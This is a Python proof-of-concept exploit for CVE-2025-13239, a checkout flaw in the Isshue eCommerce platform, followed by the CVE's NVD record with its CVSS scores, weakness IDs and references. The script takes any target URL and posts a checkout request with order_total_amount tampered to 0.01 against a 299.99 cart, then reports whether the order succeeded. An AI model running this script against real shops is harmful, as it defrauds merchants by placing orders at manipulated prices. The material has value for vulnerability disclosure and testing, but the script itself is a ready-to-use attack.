CVE-2025-13239

import requests import re # CVE-2025-13239 PoC - Isshue eCommerce Parameter Tampering # Target: /submit_checkout endpoint # Attack: Manipulate order_total_amount/cart_total_amount parameters def exploit_isshue_cve_2025_13239(target_url): """ POC for CVE-2025-13239: Parameter tampering in Isshue checkout process This demonstrates manipulating order_total_amount parameter """ target = target_url.rstrip('/') checkout_url = f"{target}/submit_checkout" # Normal legitimate request (for comparison) legitimate_payload = { 'cart_total_amount': '299.99', 'order_total_amount': '299.99', 'shipping_method': 'standard', 'payment_method': 'credit_card', 'address_id': '1' } # Malicious request - tampering with order_total_amount tampered_payload = { 'cart_total_amount': '299.99', 'order_total_amount': '0.01', # Tampered value 'shipping_method': 'standard', 'payment_method': 'credit_card', 'address_id': '1' } print(f"[*] Target: {target}") print(f"[*] Checkout endpoint: {checkout_url}") print("\n[+] Sending tampered request...") try: response = requests.post(checkout_url, data=tampered_payload, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)} bytes") if response.status_code == 200: if 'success' in response.text.lower() or 'order' in response.text.lower(): print("[!] Potential vulnerability confirmed - order processed") return True return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == '__main__': import sys if len(sys.argv) > 1: exploit_isshue_cve_2025_13239(sys.argv[1]) else: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com")

{"cve": {"id": "CVE-2025-13239", "sourceIdentifier": "[email protected]", "published": "2025-11-16T06:15:43.237", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in Bdtask/CodeCanyon Isshue Multi Store eCommerce Shopping Cart Solution 5. Affected by this issue is some unknown functionality of the file /submit_checkout. Such manipulation of the argument order_total_amount/cart_total_amount leads to enforcement of behavioral workflow. The attack may be launched remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-840"}, {"lang": "en", "value": "CWE-841"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bdtask:isshue:5.0:*:*:*:*:*:*:*", "matchCriteriaId": "8A8F955C-BFC1-4D11-9AAE-3EE14F7E3771"}]}]}], "references": [{"url": "https://github.com/4m3rr0r/PoCVulDb/issues/7", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.332565", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.332565", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.686896", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}